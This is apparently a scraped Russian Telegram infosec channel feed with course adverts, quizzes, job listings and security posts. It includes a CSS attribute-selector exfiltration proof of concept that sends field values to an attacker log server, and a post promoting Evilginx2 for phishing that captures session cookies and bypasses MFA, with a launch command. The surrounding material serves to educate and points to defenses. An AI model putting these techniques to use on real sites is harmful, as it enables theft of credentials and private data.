Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.6K subscribers
1.96K photos
110 videos
166 files
2.99K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://t.iss.one/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
This media is not supported in your browser
VIEW IN TELEGRAM
☝️ Один мудрый тимлид дал двум своим разработчикам по «таланту» — мощной, но своенравной LLM.

Первый разработчик испугался её «галлюцинаций». Он запер модель в песочнице, не давая ей доступа к свежим данным. На вопросы модель отвечала красиво, но часто придумывала факты, то есть врала. Он просто «закопал» свой талант, боясь им пользоваться.

Второй же разработчик не побоялся. Он построил для своей LLM систему RAG — дал ей «лопату и карту», чтобы находить сокровища в базе знаний компании. Его AI-агент отвечал точно по делу, ссылаясь на реальные документы. Он заставил свой «талант» работать и приносить пользу.

Мощь LLM раскрывается не в ней самой, а в системах, которые вы строите вокруг неё.


Именно такие системы мы и будем строить на втором потоке нашего курса «AI-агенты для DS-специалистов». Мы не просто поговорим о RAG, а соберём полный пайплайн с оценкой качества, чтобы ваш агент не врал.

Представьте, что вы сможете начать изучать эту сложную и востребованную тему уже 15 сентября, а не ждать официального старта в октябре. У вас будет фора в 3 недели, чтобы спокойно разобраться в векторных базах и подходе «LLM as a Judge».

💸 Цена 49.000 ₽ действует последние 4 дня — до 24 августа.

👉 Начать строить RAG раньше других
🔥3😁2🌚1
👮‍♀️ CSS Data Theft — как украсть данные с помощью стилей

CSS обычно используется для оформления, но может извлекать данные. Это уязвимость, но мы рассмотрим безопасный локальный PoC.

Как это работает:

1. Цель — найти нужный текст (например, email) на странице.

2. Инструмент — CSS меняет стили элементов в зависимости от содержимого ([attr^=], [attr$=], [attr*=] и другие).

3. Угроза — злоумышленник подгружает изображения в зависимости от текста и по логам определяет найденные символы.

🖥 Локальный PoC:

HTML-страница (жертва)


<!DOCTYPE html>
<html>
<head>
<title>Личный кабинет</title>
</head>
<body>
<input type="text" value="secret123" id="secret">
</body>
</html>


CSS-«атака»


input[value^="s"] {
background: url("log-server.com/starts-with-s");
}
input[value^="se"] {
background: url("log-server.com/starts-with-se");
}


В реальной атаке log-server.com — это сервер злоумышленника, но в нашем примере можно заменить его на локальный https://localhost:8000 и отслеживать запросы в консоли браузера.

Как защититься:

Не храните чувствительные данные в DOM, особенно в значении полей value.

Используйте Content-Security-Policy (CSP), чтобы ограничить загрузку ресурсов с неподтверждённых доменов и избежать подключения внешних стилей.

Изолируйте стили между доменами с помощью iframe sandbox, чтобы предотвратить манипуляции с внешними ресурсами.

🐸 Библиотека хакера

#буст
Please open Telegram to view this post
VIEW IN TELEGRAM
4
This media is not supported in your browser
VIEW IN TELEGRAM
📅 Сегодня в 19:00 МСК — бесплатный вебинар с Марией Жаровой.

Тема: «Введение в ML: как спрогнозировать стоимость недвижимости».

🔹 Разберём задачу прогноза стоимости недвижимости.
🔹 Покажем пошагово, как собрать первую модель.
🔹 Получите готовые скрипты для старта.

Не зайдёшь — будешь ещё год делать вид, что понимаешь графики в чужих презентациях.

👉 Регистрируйтесь
🔥3
Какой HTTP-код придумали шутки ради, а потом он стал мемом
Anonymous Quiz
26%
451
15%
499
22%
418
38%
999
💯5😁1
🛠 Фишка инструмента: Evilginx2

Evilginx2 — это фреймворк для phishing-атаки без паролей, главная фишка которого в том, что он перехватывает cookies сессии и токены MFA.

Чем полезен:

— Обход классических 2FA/SMS/MFA

— Реалистичные фишинговые страницы (копируются вживую)

— Поддержка кастомных фишинговых шаблонов

— Логи сессий с захваченными cookies и токенами

Пример запуска:

evilginx -p ./phishlets/microsoft.yaml 


После запуска жертва открывает фишинговый домен, проходит логин, а атакующий получает рабочие cookies.

🔗 GitHub проекта

🐸 Библиотека хакера

#буст
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5👏1
👮‍♀️ Разбор APK мессенджера Max

Мессенджер Max активно продвигают как «новинку», но под капотом он оказался куда более знакомым.

В карточках — что внутри Max, на чём он работает и как обстоят дела с безопасностью 🔒

🔗 Полный текст статьи — по ссылке

🐸 Библиотека хакера
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚82
🖥 Шпаргалка по Bash

Не базовые ls и cd, а готовые мини-скрипты: перенос директорий, умное переименование файлов, калькулятор, расширенный пинг и даже предсказания с cowsay.

🔗 Сама подборка по ссылке

🐸 Библиотека хакера

#буст
Please open Telegram to view this post
VIEW IN TELEGRAM
5😁3🔥1
👮‍♀️ Beyond Basics: ресурсы для тех, кто хочет больше, чем просто XSS

Если хотите выйти за рамки базового пентеста и реально прокачать навыки, эти темы и ресурсы точно стоит изучить:

➡️ HackTricks

Обширный вики-справочник по пентесту и CTF: от эксплуатации уязвимостей до обхода защит. Отлично структурирован и регулярно обновляется сообществом.

➡️ GTFOBins

Каталог Unix-бинарников, которые можно использовать для обхода локальных ограничений и эскалации привилегий. Полезен при работе с ограниченными шеллами.

➡️ PayloadsAllTheThings

Коллекция полезных пэйлоадов и техник обхода для тестирования веб-приложений. Подходит для пентестеров и участников CTF.

➡️ Malware Unicorn

Ресурс, предлагающий материалы по анализу вредоносного ПО, включая лабораторные задания и руководства.

➡️ pwn.college

Образовательная платформа, предлагающая курсы по низкоуровневой безопасности, реверс-инжинирингу и эксплуатации уязвимостей.

🐸 Библиотека хакера

#свежак
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5😢1
🤪 Небезопасный WebSocket

Вы тестируете веб-приложение, которое передаёт данные чата через WebSocket. При анализе трафика вы замечаете:

— Подключение идёт по ws:// вместо wss://

— Сообщения передаются в открытом виде (JSON без шифрования)

— В сообщениях содержатся идентификаторы пользователей и текст переписки

Какая уязвимость возникает в такой конфигурации

🐸 Библиотека хакера

#междусобойчик
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔3
🏃‍♀️ Новый поток курса — собери своих AI-агентов

7 октября стартует второй поток курса «AI-агенты для DS-специалистов».
За 5 недель вы научитесь собирать агентов, которые уже сейчас будут помогать бизнесу.

В кружке выше Максим Шаланкин, наш преподаватель, рассказывает подробнее — включай, чтобы не пропустить.

👉 Записаться на курс
Please open Telegram to view this post
VIEW IN TELEGRAM
🤑 Топ-вакансий для хакеров за неделю

Специалист по информационной безопасности — 230 000 ₽, офис (Москва)

Инженер ИБ сервисов — удаленно/гибрид (Москва)

Pentester — от 380 000 ₽, удаленно (Москва)

Information Security Specialist (DLP) — от 120 000 ₽, офис (Москва)

Специалист ИБ — от 200 000 до 300 000 ₽, офис (Моска)

➡️ Еще больше топовых вакансий — в нашем канале InfoSec jobs

🐸 Библиотека хакера

#свежак
Please open Telegram to view this post
VIEW IN TELEGRAM